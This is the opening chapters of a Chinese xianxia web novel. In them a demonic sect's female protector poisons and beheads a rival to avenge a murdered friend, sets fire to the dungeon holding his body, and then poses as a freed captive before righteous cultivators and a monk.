《佛子身可饲魂》 第1章 1-1 因缘和合分第一 残月如钩,星如屑。 从血月城中矫首而望,目之所及尽皆蒙上薄雾般的猩红之色。 陈由己收回视线,踏入城中地牢。 地牢中不见日月,难辨晨昏,湿冷阴气如附骨之疽,在悄无声息之间就侵入人体。陈由己走在地牢中的脚步声如同点亮盏盏烛光的火折,引得地牢中发出阵阵窸窣响动,而那些目光却仍蛰伏,不敢抬起头来看个明白,即使他们早已在黑暗中漫出幽深的恐惧。 陈由己对此似乎全然不觉。她径直走到地牢深处,在一扇门前停下脚步。利落将钥匙插入锁孔,为牢内的女人打开了门。 女人缩着身子瑟瑟发抖,抬起头看到了陈由己。 陈由己看着女人愈加瑟缩的样子,笑了一下。这不是一种柔和安抚的微笑,反而在笑容中渗漏出阴险与不怀好意。 女人的视线和陈由己一触即分,她立刻低下了头,似乎陈由己的目光能勾下别人的一块血肉。 见到女人的反应以及在她在黑暗中微微发抖的身体,陈由己不无得意地想,自己果然是吓到她了。 身为血月宗的右护法,陈由己深知自己早已经披上了凶残嗜血、草芥人命的皮囊,而这副皮囊穿戴得久了,就和她自己的血肉融为一体,渗入到五脏六腑中,继而沁出体外,成了人人闻之色变的昭著恶名。 面前的女人大约是知道她身份的。即便不知,也能猜个五六分吧——终归,能自由出入血月城的地牢,拥有牢门的钥匙,举止神色皆嚣张乖戾,能是什么好人呢?那么,她对她的恐惧是理所当然,而她的突然造访更是让这种未知的恐惧被扭结成一片混沌。 但女人很快就会知道她来到地牢的目的。 陈由己噙着笑,轻声慢步走到女人跟前,蹲下。 女人本能地希望自己能离血月宗的妖女远一些,可她的背后是坚硬的砖墙,她已经退无可退,只能避开陈由己攫住她的视线。 陈由己蹲在女人面前静静地看着她。突然,她伸出手,拇指扣住女人的下颏,迫使女人抬起脸来。 地牢中的阴冷、潮湿、危险重重与前途未卜让女人原本美丽的容貌变得苍白,女人在地牢中怀着忧惧,落魄而狼狈。 可是人的容貌真的神奇而无法捉摸,明明都长了类似的眼耳口鼻,可是眼耳口鼻的细微差异就能造成巨大的美丑悬殊。好看的人即使是苍白了皮肤、凹陷了脸颊、经受了摧残,这些都只是为她们镀上了一层脆弱易碎的美好,并不损于她们的清丽。 面前的女人就是这样的容貌。 “真是漂亮的一张脸蛋,难怪左护法对你日思夜想呢。”陈由己容貌昳丽,笑起来柔情万种、蛊惑人心,只是在血月城的地牢中,这样的笑容令人后背生寒,“左护法呢,他疼惜美人儿,想着在你去做了鬼之前,能与你共赴一趟**;你呢,成了左护法的相好,在被宗主取了魂魄前就不必待在这地牢里了,兴许还能尝到一点儿**的乐趣。” 听到这话,面前的女人重重一颤。 陈由己放开了女人,面上的笑容忽然折了个弯儿,不像刚才那样妖媚,似是由衷地笑了。她往后一仰,席地而坐,慵懒随意地歪了头,继续说道:“我呢,也乐得见到左护法沉醉在美人窟。所谓美人窟,英雄冢,我也是期待着你能成为葬送左护法的棺椁儿。” 陈由己的眼睛转了一圈,又说道:“其实吧,像左护法这样又蠢又好色的废物,本也担不起左护法的任务,等他早早地死了,对血月宗来说也不见得是坏事。” “不如你就乖乖和我走一趟,对你、对我、对左护法都好。不然的话……左护法倒也不追求那事儿的你情我愿,把你自己弄得伤痕累累,又是何必呢?”说着,陈由己便一下拉住了女人的手。 女人反应过来,开始挣扎。陈由己毕竟是血月宗里修了炁的,女人的挣扎在她看来不过是蚍蜉撼树,她牢牢圈着女人的手,还能继续调笑。 她倏地将脸凑近了女人,冷笑一声:“你这敬酒不吃吃罚酒,对谁可都没好处。有这力气,不如用在床上对付左护法,若你真有本事让左护法进了坟冢儿,倒也是为民除害的英雄。怎么样,不如想想我的话?” 陈由己圈住她手腕的手纹丝不动。见挣脱不得,女人知道自己的力气是比不上陈由己的,她不再做无用之功,终于开口。 “我是嫁了人的。”女人的声音有些沙哑,但仍好听。 陈由己笑了两声,声音在封闭的地牢中回荡,随后她道:“那就更能得左护法青眼了。” 不等女人回答,陈由己又问:“那你生过孩子吗?比起未经人事的少女,左护法更喜欢嫁过人的;比起嫁过人的,左护法更喜欢生过孩子的。” 女人想骂陈由己不要脸,终是忍住了,便只剩下无话可答。 陈由己拉着女人站了起来:“其实呢,若是你得了左护法青眼,将左护法迷得神魂颠倒,那他能保了你性命也未可知呀。” 陈由己又换了一套说辞。 女人心中鄙夷更甚,但眼下别无脱身之法,只能虚与委蛇,得要之后另寻机会才是。 斟酌片刻,心中既有了决断,女人道:“好吧,我跟你走。” “这才是呢,识时务者为俊杰。” 女人顺势提出要求:“我会自己走,你能放开我吗?” 陈由己果然放开了手,退开一步,向着女人微微弯腰,似是恭请女人而出。 地牢的结构简单,女人沿着廊道走,陈由己跟在她身后。两人不久就来到了地牢入口处。 女人停住了脚步,于是陈由己也在她身旁止了步伐,“怎么了,美人儿?” 女人微微一皱眉,对“美人儿”这称呼很是厌恶,觉着陈由己虽也是个女人,可言语轻佻似浪荡的登徒子。 陈由己这边虽是问了话,倒也并未期待女人能回答出个什么子丑寅卯,她已知道女人心中的大致想法。她兀自望向天际的那一轮弦月,满目皆是血色。 若是陈由己从未见过血月城外的世界,她或许会以为月亮本就是红色,这样的月亮,洒下的也似乎并非清辉,成了赤泽;若是陈由己从未见过血月城外的世界,她或许心中也就没那么多弯弯绕绕和渊源冤怨,自然也不会费劳什子劲做这许多。 可惜,也可喜,陈由己并非出生便是城中人,她曾见过皎洁的明月。 女人开口:“在见左护法之前,我能洗个澡吗?” “左护法喜欢久未洗澡的身体。”陈由己勾唇一笑,不以为意,继续望着无边无际的夜空,“走吧,左护法是个急性子。”刚才的戾气与压迫便散了,漫不经心多了便像是染了一份轻蔑。 女人没动。 “……我想净个手。” 陈由己耸肩一笑,啧了一声,“是要小解还是大解?” 女人犹豫一下,道:“是大解。”她的声音很小。 陈由己实在不觉得“大解”是一个羞于启齿的词,她的声音如常:“过去,倒是有不少人借着大解的由头从我眼皮子底下逃跑呢。” 察觉到女人体内原本规律流动的炁似乎出现了一种不同寻常的颤动,陈由己心中叹了一口气,她的玩笑是开不下去了,否则她还想看看女人花容失色、哭着求她的模样呢。她心中暗自感到遗憾,面上却不作任何显露。 她抬起一边眉毛去看身旁的女人,口中继续着刚才的话:“若是你真想独身地从血月城里逃跑呢,那我也告诉你,你逃不了的,你在路上就可能会遇上觊觎你魂魄的,还有觊觎你身体的。即便你运气好,总算是到了城门,你又如何出城呢?城门既有结界,又有守门人。当然了,守门人也爱你这样的美人儿,会为你送上门去而高兴的。” 说完这些话,陈由己察觉到女人体内的炁似乎出现了更大的波动。见了女人为遏制心中的恐惧而咬住下唇,将原本浅色的柔唇咬得连血色也无,陈由己随即便话锋一转:“不过呢,若是你想同我一起出城,那便不是一件难事儿。” 说完,陈由己转头去看女人。 在凉夜绯色的月光下,陈由己挑着嘴角,眉目似是含春带露,柔情裹挟着狡黠,还带了一些邀功的意味,看向身旁的女人。 女人带了惊愕与期待,回看陈由己,愣了有一阵:“你能带我出城?”即便她觉得血月宗的妖女是要她饮鸩止渴,可是她不能拒绝安全的诱惑。 “自然可以。”陈由己答得爽快。 几乎在须臾之间,陈由己感受到了,女人虽然心如擂鼓、仍不相信她,但她体内刚刚出现的一点细微颤动已经悄然消逝,无影无踪,她体内的炁回到了它原本的规律。 女人睁大了眼睛问:“你不是……” 陈由己知道女人消失在夜色中的问题——你不是血月宗的人吗?你为什么会愿意带我出城?你想要从我这里得到什么吗? 只是女人的头脑中混乱,没有将这些问题条分缕析地陈出来。 陈由己嫣然一笑,口吻也不似方才那样带着调笑:“不瞒娘子,我本仙阁人,与我同门的师姐在幼时却被血月宗妖人所杀,我为报仇,便自请放逐于师门,投奔至此,只求有朝一日立稳了脚跟,才好从内里重创血月宗。” 陈由己说完这番话,知道女人已信了五分。女人在这样穷途末路中,有人告知她往前方的悬崖只是幻境,在她面前的其实是平地大道,让她放心踏上,她也能信两分,因她在穷途末路中别无选择。 陈由己向女人作一长揖:“之前我三番两次言语试探娘子,并非故意令娘子惊惧,只是我须得确认娘子是否已被血月城中的邪炁侵了神智,不得已对娘子口出不逊,实在是我的过错。” 女人愣了片刻,立刻摆手道:“不不,女仙这样说,真是令我不知该怎么说的好了……”女人苍白的脸上终于浮现出了血色,“如果女仙真能带我出城,我已经十分感激,哪里还敢受您道的不是。只是……若是女仙带我出城,我只担心女仙您自己的安危……” 陈由己知道女人已经对她有了**分的信任,她伸手抚上女人的肩膀,轻拍一下,以示安慰,说出的话却果决:“这点娘子无需担心,现下不宜再作犹豫。只有一点需得娘子注意,稍后出城路上我再与娘子细说。娘子这身衣服与血月宗人平日穿着有所不同,容易被人察觉,娘子不如先换上我的衣服。” 作者有话说 显示所有文的作话 第1章 1-1 因缘和合分第一 第2章 1-2 因缘和合分第一2 章?踏入地牢的时候正逢晚间黄昏。 他喝了酒,半醉不醉之间,想起三天之前被抓来投入了地牢的那个女人。当时只一瞥,他便知道女人是个美人,乌发雪肤,我见犹怜。 只是上次有一回他玩得尽兴了,不小心把一个女人弄死了,也因此被宗主责罚和训斥。碍于此,这一回,他没敢在前两天夜里来地牢将她带走。 想到这儿,章?冷哼一声,心中不屑地想,上回那个被他玩死的女人可比今天这女人差远了。尤其是那天晚上,她死在他床上的时候,也不知道怎么地突然就脸色青紫,身体都僵了,当时吓得他酒都醒了一半。 陈由己那娘们又来得巧,偏那时候有事来寻他,害得这事儿弄到了宗主跟前,平白挨了一顿训。 好在宗主今夜有事出了城,给他寻到了一个机会,能一尝美人滋味。章?想到之后的那事儿,体内一阵热。他想着,今晚上把着度玩几回,就将人送回,想来宗主也不会发现。 他火急火燎地迈了步子向地牢深处寻去。 在寻常关着人膳的那间地牢里,他看到一个纤弱身影倚在墙边,低垂着头。 即使身着布衣,章?也能看到女人的身姿玲珑绰约。 他吞咽一下,立刻拿着手中的钥匙开了锁,推开地牢门。 照理说,他这一连串的动作在幽闭安静的地牢里发出了声音,女人应该注意到了才是,可是倚在墙边的女人一动不动,似是没有任何察觉。 章?却不做他想,一边是急不可耐,一边又像是怕吓着了美人,他一边靠近墙边,一边出声道:“美人儿,你叫什么名字?可愿意跟着我出了这地牢?” 女人依然低垂着头,没有任何反应。 章?终是有点咂摸过了味儿来,心中不耐地想:好不容易得了这么一个美人儿,又得了这么一个宗主出城的机会,美人儿别是死在地牢了吧。 有了这样的想法,他原本就稀薄的一层耐心被撕成碎片,章?大步走向女人,想要抬起女人的脸去看个分明。 正当他粗大的手指将将要钳住女人面颊的时候,一节细瘦白净的手腕出现在他视线中。面前的女人竟扣住了他的手腕。 这女人的手生得漂亮,皮肤白得如同霜雪,手背的起伏似竹笛、似伞骨,然而就是这样一只纤细的手却又像铁器一般冷硬。章?在女人的手中感受到了力量。 他心下一惊,已知不对。抬了头,霎时便见到了一双熟悉的眼眸——眸光潋滟,然眼尾上挑,显得凌厉又薄情,这眼里像是藏了淬毒的刀片,刀片在黑暗中泛着粼粼的光泽,誓要剜下肉来。 没等章?开口,女人的声音在地牢中响起:“章?,美人儿我的名字就叫你爷爷。” 章?愣了一瞬,也没想起来陈由己是在回答他刚进地牢时候的问话,但他凭了不愿在口舌上认输的意气骂道:“不要脸的小贱人!” 见到章?带了怒的面色,陈由己嗤笑一声:“你爹屙你出来的时候把你的狗眼拉下当成他□□儿,所以没眼的你认不出你爷爷了,章??” 不等章?想到骂她的话,陈由己又道:“不过从今个开始,你就不叫章?了,得改名叫早辟了!” 章?不解其意。 他与陈由己素来不对付,互相厌恶,但论骂得脏,他不是陈由己的对手,在陈由己那儿总也讨不着什么好处。今天原本在地牢的美人换成了陈由己,又莫名受了她的脏话,他怒火中烧,索性不和陈由己废话,直接出手。 他倏地伸手向陈由己脖颈探去,好让陈由己尝尝厉害。 可是刚出手,章?就直觉不对,自己的手臂竟有些使不上力。 说来,刚才也是,明明陈由己的境界不及他,可陈由己怎么竟能牢牢制住他? “左护法,到这会儿,觉察出不对了?”陈由己的声音在地牢中闲庭信步。 章?看着陈由己。 这妮子长得是真好看,可长久以来,章?看到她,只觉得嫌憎。其他女人有清的、有冷的,但陈由己给他的感觉是阴冷,像是深不见底的寒井,只等他向里头凝视的时候就用她浸泡在水中多时的头发将他缠绕住,然后拖入井中溺死。 章?忽然感到一阵恐惧,似乎陈由己那铺在井水中的头发已经缠住了他的手脚。 陈由己的红唇勾起一抹诡谲的笑意:“左护法,你来这儿前喝了酒吧。” 章?咽下一口涎液,稳了稳心神。 “你不说话,那就是了。”陈由己眯了一下眼睛,“你喝的是**一度吧。这**一度是一月前邹堂主孝敬您的吧……您喝的时候难道不觉得味道和以往有什么不同吗?” 不等章?回答,陈由己一蹬身后墙壁,发力将章?向后推去,章?伸手抵挡。只见寒光一闪,陈由己从腰间拔出了匕首。 下在酒里的遣炁散已经开始发挥效力,章?感到自己体内凝结高浓的炁似乎真如药名那样被遣散开了。一旦失了炁,他修的法与功同样地就会散了。 反应速度已不可同过去而语,一招一式都显得滞涩沉重。陈由己方才拔出的匕首已经划破了他的手臂。 章?连退了几步,与陈由己拉开距离。陈由己倒也并未立时倾身上前,只在地牢中离墙不远的地方,带笑望着他。她握着沾了血的匕首,不在意地往墙上抹了一下,匕首刮擦墙壁发出粗粝声响。 章?没顾得上汩汩流血的手臂,心下骇然。不禁想,陈由己这是来真的? 平日里再怎么不对付,也同是血月宗的人。况且,他也不是没有对陈由己起过奸杀的心思,可若是被宗主知道了,他也活不成了。 “你真要杀我?”章?怒目问。 “左护法,您觉着呢?我是开玩笑,还是真想杀了您?” 章?吃不准陈由己到底是什么意思。这妮子阴恻恻的,似乎是喜欢看人害怕求饶的样子,他不知道宗主能不能看透这女人到底在想什么,反正他是从来弄不懂。 无论如何,他还是血月宗的左护法,“你要真杀了我,宗主必定会查清真相,你到时怎么和宗主交代?” “这一点呢,就不劳左护法费心了。”陈由己像是听到了什么笑话似的,粲然地笑了,“这么多年来,我盼望的呢,不过就是左护法您死了。若是我日后因着左护法的原因被宗主杀了,那我也不亏,毕竟我的死是日后死,你的死在今日!” 刚开始的时候,陈由己说话还是温温柔柔,带着点愉快的,说到后来,语气竟激烈起来,变得恶毒而怨恨。 章?有些不相信,仍不确定陈由己究竟是在开玩笑,还是真的要杀了他。他问:“陈由己,我究竟惹到你什么了?” “左护法贵人多忘事啊。”说完这一句,陈由己就好整以暇地看着他,似乎是要章?自己回忆起他到底是哪里惹到她了。 章?确实怎么也想不起来——觉着自己做的任何一件事儿都可能惹了她,又觉着哪件都不至于到冒着宗主忌讳非杀他不可的地步。 陈由己翻脸比翻书更快,她的耐心很快告罄,再开口时脸色已是一片冰冷:“陈芷兰是不是你杀的?” 陈芷兰? 这陌生的名字让章?陷入迷蒙。他似乎从来没有听过这个名字。至少,这个名字并未曾在他脑中久作停泊。 见到章?的样子,陈由己知道他是想不起来了。 陈由己心想,陈芷兰如白芷如蕙兰,纤纤弱弱地长在路边,可一朝被瞎了眼烂了肚肠的粗蠢废物就踩踏了,那粗蠢废物还什么都不知道。 罢了。 陈由己眯了眯眼,勾唇讥讽地看着章?,笑道:“记得也好,不记得也罢,都没分别了;你死了,记得与不记得也就全都抛却了。” 说着,陈由己将匕首横到身前,蓄势待发,似乎是打算将章?一击毙命。 章?注意着陈由己的举动,一边暗暗后撤。到这时,他心中才信了陈由己今日是真的布下了局想要拿他性命。 他心中暗恨未作任何准备,连平时联络手下堂主的信号节也没带着。若是跑……此时,章?已退到了门边,他悄悄地将牢门打开了一些。 骤然间,他看到陈由己突然袭来,匕首银光闪闪,带着罡风似是要取他的首级。 章?迅速后仰,躲过了袭来的匕首。 咦? 章?感觉似乎有什么不对,颈间一凉,顷刻就失去了意识。还没有反应过来发生了什么。 脖颈处鲜红的血液喷洒而出,以迅雷之势在牢房的梁柱、墙面上镌刻繁复靡丽花纹。章?的头颅滚落在地牢的走廊,遇到墙壁的阻遏而停止,瞬息之间早已失去生气。 陈由己的面庞也被溅上了星点的血液,她无声地冷笑一下,抹去面上血迹。回收了绑在门上的银蛛丝。 这银蛛丝细如蛛丝,几不可察,又韧如金银,难以催折,几乎可算是陈由己用得最为趁手、也最为爱惜的物件,如今它又帮着她手刃了仇人,也值得了。 陈由己收回了银蛛丝,妥帖放好。 方才就是这银蛛丝割断了章?的头颅。 陈由己在悄然之间就运了炁将银蛛丝一端缠绕与牢房的门栅之上,另一端以匕首控制。她挥着匕首袭向章?的同时,也默默收紧了银蛛丝,章?已成瓮中之鳖,无处可逃,区别只在于因后撤撞上银蛛丝断了脖子,还是被匕首刺中心脏罢了。 果然,如陈由己之前咒骂的那样,章?最终是丢了脑袋,成了早辟。 手刃仇人,按理说应该痛快无比,她盼着章?死盼了整整八年又两个月。无数次,她都想亲手割下章?的头颅,可是她不能,身为血月宗的右护法,她修炁的境界在章?之下,遑论宗主。 她在无尽的忍耐中沉默幻想,等到有一天她杀了章?,到那时候,她就可以望着被血色覆盖的明月叹一声,我终是帮你报仇了,阿兰。 可如今,地牢里,她的头顶是逼仄的石墙,遑论皎洁的明月,就连她和阿兰看熟的、又讨厌的红月也无。阿兰终于是再不会回来了。 她看着章?隐在昏昧中的头颅,看着章?的头颅上圆睁的两眼,看了足有一炷香的功夫。忽然,她似是终于被地牢的潮气侵蚀,猛地一颤,心中感到恐惧、空茫与冷寂。 阿兰曾经说过,若是没有了爱,那就找一个人恨吧,这样总还可以活下去。 是啊,血月宗主,她还没看着他死呢。 下一刻,她倏地探身抓了章?的头颅站起,按照她原本所计划的那样,折回了牢房之内,将章?的脑袋扔到他失了头的尸体旁,不做停留,悄然隐入走廊,离开了地牢。 第3章 1-3 因缘和合分第一3 陈由己带着火油重新回到地牢。 一夜过去,陈由己再次见到了章?,切口处的血液早已干涸,在地牢里显出棕黑色,露出的皮肤之上有暗紫的斑块。 陈由己心知这大概是看章?的最后一眼了。说到底,他如今已是一个死人,早没什么好看的了。 收回目光,将带来的火油“哗”一声尽数泼在了章?分离的身首之上,随即又从腰间荷包中取出火折子。吹了火折子,抛到章?身上。 明火甫一遇油便立刻熊熊燃烧。 陈由己站远了一些,眼见着澄黄火苗攀附上了木制牢门,她快步离开了地牢。离开时又刻意放轻了脚步,没有惊动地牢中被关押的人们。 地牢外日光大盛,然而血月城中的日光总是浸染了红色,再明亮也宛如黄昏时分的夕晖。宗主喜静,因此血月城中往往安静。 今时却是不同了。喧闹声响彻耳际。不绝的、层层叠叠的风将修炁者的话送入了陈由己耳中。 “那妖宗贼首在哪儿?” “去正殿搜过了,现在还没找到他。” “啧,这断指老妖素来诡诈奸猾,你说不会是知道我们要来,所以提前跑了吧?” 陈由己听到此处不由一哂,这断指老妖说的就是他们宗主吞月君了,他曾断过一指,至今这断指的地方仍如光秃秃的树桩。 她不再继续听,探手摸了一把黑灰,往自己脸上一抹。瞧了一眼自己早已备好换上的衣裙,这衣裙是被她放走的女人所留下的,又让陈由己用火燎过,边缘有焦黑的痕迹,陈由己勾唇一笑,向声音传来的方向跑去。 她逆着风,那些所谓正道人士的话一波又一波传入陈由己的耳中—— “这血月贼首可真不是人呐,过去几近二十年里他不知道吸食了多少人的魂魄。” “今天必得将他就地正法!” “若他真跑了,怕是不知道还会有多少性命落在他手里。” “这么说来,他修炁的境界岂不是已经达到了……” “怎么?你怕了?” “这吸食人魂魄的宵小有何可惧,若他真的达到了潜显境,何须再吸食人的魂魄?” “子方兄说的在理!” 随后传入陈由己耳中的是更远、更模糊的声音,可见这波人当下的议论陷入了沉默。 很快,陈由己又听到有人说:“可是几乎找遍了这血月宗,也还没见到这断指老妖啊。” “玄真法师,你怎么看?” 法师? 陈由己心道:“今儿个还有秃驴来呢,她倒要看看这来的是头什么样的秃驴。” 她素来讨厌道貌岸然的秃驴。 之后的声音大概就是“玄真法师”在说话。秃驴说着一些无关痛痒的废话,声音越来越近。 血月城中尽是雾蒙蒙的红色,从来不曾散去,这些名门正派的骄子也被笼罩在红色中。 当陈由己看到远处的人影向这边而来时,她脚下一绊,便一下子扑倒在地。 他们的声音更加清晰地传入陈由己耳中:“子方兄,你看前面是不是有人摔了?” “是,我看似乎是个姑娘。莫不是被这断指老妖抓来的?” 一个戏谑的声音接踵而至:“子方兄你见到个姑娘就怜惜,觉得人家柔弱不能自胜,但这里是血月城,子方兄,我劝你还是小心为妙。” “季春兄这是什么话?!若是路见不平,我等颍山子弟自当拔刀相助,在所不辞。岂能够缩手缩脚、畏葸不前?” “子方兄说的有理,当然,季春兄说的也在理。” “是,佩珩兄说的也在理。”听起来是“季春兄”散漫调侃的语调。 陈由己维持着倒地的姿势,正听得有趣,忽又听到一个平稳的声音问:“这位女施主可是遇上了什么麻烦?身体是否有恙?” 陈由己抬起头的时候,早已经换上了一副泫然欲泣的表情,看了面前的和尚一眼,像是才反应过来的样子:“……法师,奴被抓来这血月城中,据说会在三日之后被城主吸食魂魄。这几日都被关在地牢中,今日不知怎么的,地牢失火,奴也因此得以逃脱……” 说着,陈由己一指地牢方向,一手捂住心口,声音颤抖道:“现在地牢下仍有人……有人被困,我忧心火势蔓延,造出性命,还请法师与各位侠士快快帮忙去救人!” “可否请施主为我们引路?” “自然。”陈由己爬起来,仍不忘装成柔弱无力的模样。 地牢入口处,陈由己听到涌出的嘲哳的声音——地牢中的人在叫喊,在谩骂,在捶打着木栅。 这些混杂的声音让她感到自己的心跳鼓噪起来。她原以为地牢中石壁阴冷,砖石潮湿,火势并不会蔓延得多么快,然而眼前的景象似乎与她所想有所出入。 地牢的火是陈由己放的。 她的耳力过人,先前听到了修士们打破血月城的结界,开了城门,踏入了血月城地界,她便来了地牢,放了这把火,烧了章?的尸首,自己则伪装成被抓入地牢的民妇。 她也想好了托词、做好了打算——她是因着这火灾烧塌了牢门,才得以逃脱。之后依托这借口,她便能和那些修士混个熟,为的是探听她前宗主吞月君的讯息。等得了消息,确认吞月君真的身死命殒,她便了了心愿,对得起自己的心了,从此就带着她名为“见芳洲”的竹笛回到家乡,做个日出而作的农人也好,或者天高海阔地走出去也好。 她皱了一下眉头,眯眼望了一眼地牢入口,地牢中的热气汹涌地叫嚣,蒙上血月城中的红色,陈由己吸一口气,嗅闻到烟熏火燎的气味。 此时已有几名修士鱼贯入了地牢之内。陈由己踌躇了片刻,也跟着他们的脚步再次进入地牢。 章?的尸体就是起火源,他的尸体就在地牢的深处。当下火势蔓延,想必是最内里处的人最危险。 这地牢里关押的要么是被血月宗抓来的普通百姓,要么是败于血月宗之手的正道人士。 自古正邪不两立,若是她身为血月宗的右护法,那莫说去救这些正派人士,便是趁乱杀了他们也做得;可是她总是恨着血月宗的左护法和宗主,也算不得邪道,眼下杀了章?,有朝一日事情败露也是为邪道所不容了。 可要说她是正道人士,那她与正道也是相看两厌。她看不上仙佛世家的装腔作势和表里不一,而正道也是容不下她的。 她杀过人,昧着良心杀过无辜的人,不止一个。 “阿兰,”她在心中默默唤了一声,“我该怎么办呢?” 心中之语未说完,她便像是有了决断,她径直走到地牢的角落,拿起藏在那里的斧子。不再停留,陈由己疾步走向最里处的地牢。 她放这火终归不是想置他们于死地。 她凭着耳力去寻地牢最深处的人,一心只在嘈杂中分辨方位,不曾发觉一名僧人也徇了她的脚步往里走。 “咳咳咳——” 伴随着咳嗽声,烟气也同样钻入陈由己的肺脏。若是能将衣物浸一浸透,或者带几块湿帕子,就能帮自己掩住口鼻抵挡些烟雾,也能让地牢中的人多几分活下去的机会,可是当下的情况中她无法这么做。 她集中精力,将炁集中于双足以使自己加快脚步,终于穿过了浓重的黑烟,看到了困在地牢最里处的那个人。 他已经倒在地上,无法起身,似乎因为吸入烟雾失去了意识。 陈由己一愣,神色中透出一丝迷惘。然而这丝迷惘再刹那之间便消失无踪,冷冽攀上她的眼眸。 她无声地嘲道:“死了吗?死了就死了吧,这样的世道,一条普普通通的人命算什么呢?要怪,那便只能怪你命不好了,怪你倒了霉!” 陈由己转身欲走,转身之前却听到了他微弱的呼吸。 还活着? 陈由己勾了一抹笑,仍有些嘲讽,想,看来你运道还不算太差。还活着,那你奶奶我便来救你一条小命吧。 就在陈由己意欲上前之时,一道高大身影从她身边疾步而过。在滚滚的热浪中,他走过时带起了一股风,扬起了他所穿僧祇支的衣角,几乎破开了地牢中的热度。 陈由己见他步履迅捷但从容,在地牢着火的木栅前停住,卷起宽袖露出光裸小臂,僧人的手臂在火光的映照下,折射出暖色光泽。僧人毫不犹豫地将手探入火中,任火舌攀上他的小臂他似乎浑然不觉。陈由己察觉到他手掌小臂处炁的波动,随之而来“砰”地一声,牢房的木门应声而断。 落于地上的木门仍在燃烧,僧人已经踏入牢房内。转眼间,僧人已经一手托住昏迷者肩颈处,一手穿过他膝弯,结结实实地将他抱起。 见僧人准备走出牢房,陈由己心中有些波动——这和尚什么时候来的?刚才她将炁调于双足,那和尚是否察觉了?她这民妇还装的下去吗? 她正想着说些什么,僧人率先向她道:“施主,在这附近还另有伤者吗?” 陈由己一顿,便道:“法师,再里处已没有人了。我们也快些出去吧。” 僧人道:“多谢施主及时告知,施以援手。”他说话很平静,语速却很快。 经过其他牢房时,僧人见牢房中还有人不得出来,也需得他帮忙打开牢门,他将怀中昏迷者暂且放到地上。 陈由己蹲下身再次探了探那被救伤者的鼻息。 转眼便见僧人再次抬起手掌,将手放置于木门之上,炁于一瞬间释放。 木门轰然倒塌。 门内的人立即道:“多谢法师,多谢女仙!咳咳——” 陈由己对这门内之人抚慰一笑,倒也理解她的欣喜。原本就被血月宗妖修抓来地牢,遭受了无妄之灾,又不知怎么的遇上了火灾,以为自己必是要死在地牢里了,未曾想柳暗花明竟得了救。因此即便喉头肺间略有不适,但绝处逃生之喜足以让这些小小的不适与之前的恐惧都烟消云散。 僧人一垂眸:“举手之劳,施主无需言谢。” 地牢中被救的女人走出来。 陈由己将昏迷男人的一条手臂搭上自己肩膀,“法师,你接下来还需得打开牢门救人,抱着人不便,我来扶着他吧。” 须臾之间,陈由己已另有算计。 若是这和尚真发现她修了炁,那也已经无可避免,不是她所能控制的了。若是他还不曾注意到这点,那便最好,她不会主动暴露。 因此她不能运炁去背那伤者,否则会被这秃驴发现她原来也是修炁的。 但无论如何,她需得在这秃驴面前做一些善行,不如就将她的救人之心贯彻到底,也能让这秃驴对她有一些好印象,这样即便日后暴露她与血月宗关系匪浅,也多少能归咎到“身不由己”之上。 不能运炁的陈由己要扶着一个昏迷的,比她高大不少的男人颇为费劲,只能半扶半拖地将他拉起来。 还没等陈由己站起身,玄真转过了身背对陈由己,声音飘向远处:“施主一介女子,要背运一名男子实在是不便。施主帮我将他放到我背上吧。” 陈由己看了一眼玄真宽阔的脊背,不再推拒,表现出自己愿意出力的心比实际做了什么更重要,况且若陈由己坚持,反而可能是蹇驴驾辕,拖了后腿:“那便多谢法师了。” 她半拖半拽将这昏迷的倒霉蛋弄上玄真的背,就已经有些喘气了。她心中骂道,这倒霉催的和尸体一样,可真沉,也不知道平时吃的什么。 玄真用一只手稳稳地拖住了这人,站了起来,似乎毫不费力。 一边走着,陈由己一边漶漫而不着边际地想,这昏迷的废物一身腱子肉却一点用也没有,恁容易就昏迷。且他长得浓眉宽鼻、方面阔口,若是按照他平日的样子,该是打架挺厉害的样子,若是知道了她是在地牢里放了火的,必得是要揍她一顿的样子。不过她毕竟是血月宗右护法,修了炁,不是好惹的。话又说回来,这秃驴看起来境界是不敌的,也不知这秃驴有没有察觉到些什么…… 陈由己一边想,一遍斜眼去乜身旁高大的僧人,正对上僧人的目光。他的目光无悲无喜、无波无澜、既无审视也无防备,似乎仅仅是察觉她的目光因而回看了她一眼。 陈由己看不透。 作者有话说 显示所有文的作话 第3章 1-3 因缘和合分第一3 4. 2-1 积恨难消分第二 “子方兄,地牢中还有人吗?”史佩珩问。 “得蒙诸位同心戮力,地牢中的人已全部获救!” 薛季春反问:“子方兄,你怎么就知道地牢中的人已全部获救了呢?” 周子方被噎了一下,随后耐心答说:“玄真法师说了,地牢再深处已没有人,所有我们听到呼救的人均已在这里。” 薛季春看了一眼僧人,“既然玄真法师这么说了,那相比是不会有什么差池的了。”话是好话,但他说话的语调总是懒散轻浮,让人也吃不准他到底什么个意思。 陈由己听得这边的闲话,心中冷哼一声——若是她现在骗那秃驴说,当时失火时地牢深处其实还有人未获救,只是那时她忧心若是去救人可能连他们自己也会被困,因此骗了他,若是她这样说了,那秃驴会是什么反应呢? 她还真有些想看看。 可惜啊,她还得依靠着这些“正道人士”杀了宗主呢,也不能在他们面前将她自己妖女的身份坐实了,不然她也得吃不了兜着走。陈由己心中叹息,只能作罢,歇了作弄人的心思。 只是听闻这些正道的废物点心到现在还未找到血月宗宗主,陈由己心中有不安隐隐涌动。 昨日,听闻血月宗下设分堂——鄯州的听月堂有变,似是起了反叛之心,宗主便急急从血月城启程。 听月堂堂主这人,陈由己了解,外强中干,能掀得起什么风浪呢?要说他弃了反叛之心,那猪仔也能长出翅膀飞上天了。 等宗主到了听月堂,确认了听月堂的反叛只是一个假消息,那他便该回了。算算时间,后半夜大约就能到血月城了吧,再不济日中之前也该到了。 陈由己抬头望望在中天的太阳,心中疑惑,难道是宗主有什么事耽搁了?还是说早晨听闻六大仙门攻打血月城,自觉不敌,索性便不回来了? 再者,宗主对她的所想所做是不是已经有所察觉呢? 陈由己不愿再细想。事到如今,再去反复思量过去的疏漏也未必有益,若是仙门修士能找到宗主,斩草除了根,便绝了后患。 她已没有路回头路。她也不需要回头路了。 想到此处,陈由己对玄真道:“奴原以为落到了这等杀人不眨眼的妖魔手里,性命已不可再奢求,未曾想到……”说到此处,陈由己红了眼眶抬眸看向玄真,声音里竟已带上哽咽,“今日不知怎么的,地牢中突然起了火,奴也是得了佛祖的眷顾,这火竟把牢门烧塌了,这才得了诸位仙人救!只是奴心中仍然放心不下。传言血月宗宗主心狠手辣、老奸巨猾,不知法师你们可曾与他交手?” 